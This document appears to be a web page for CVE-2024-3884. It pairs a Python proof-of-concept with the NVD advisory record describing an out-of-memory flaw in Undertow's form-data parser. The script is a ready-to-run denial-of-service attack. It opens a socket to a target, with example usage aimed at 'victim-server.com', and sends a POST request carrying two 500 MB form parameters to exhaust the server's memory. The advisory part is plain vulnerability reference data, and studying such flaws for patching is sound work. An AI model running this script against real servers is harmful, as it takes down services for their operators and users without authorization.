CVE-2024-3884

import socket import time def exploit_undertow_dos(target_host, target_port): """ CVE-2024-3884 PoC - Undertow FormEncodedDataDefinition DoS This PoC demonstrates how to trigger OutOfMemory via large form data """ # Construct malicious request with oversized form data large_data = 'A' * (500 * 1024 * 1024) # 500MB of data body = f'param1={large_data}&param2={large_data}' request = f'POST /form HTTP/1.1\r\n' request += f'Host: {target_host}:{target_port}\r\n' request += 'Content-Type: application/x-www-form-urlencoded\r\n' request += f'Content-Length: {len(body)}\r\n' request += 'Connection: close\r\n' request += '\r\n' request += body try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) sock.send(request.encode()) print(f'[+] Malicious request sent to {target_host}:{target_port}') sock.close() except Exception as e: print(f'[-] Error: {e}') # Usage: python cve-2024-3884-poc.py # target_host = 'victim-server.com' # target_port = 8080 # exploit_undertow_dos(target_host, target_port)

{"cve": {"id": "CVE-2024-3884", "sourceIdentifier": "[email protected]", "published": "2025-12-03T19:15:54.767", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Undertow that can cause remote denial of service attacks. When the server uses the FormEncodedDataDefinition.doParse(StreamSourceChannel) method to parse large form data encoding with application/x-www-form-urlencoded, the method will cause an OutOfMemory issue. This flaw allows unauthorized users to cause a remote denial of service (DoS) attack."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:0383", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:0384", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:0386", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:3889", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:3891", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:3892", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4915", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4916", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4917", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4924", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:6011", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:6012", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2024-3884", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2275287", "source": "[email protected]"}]}}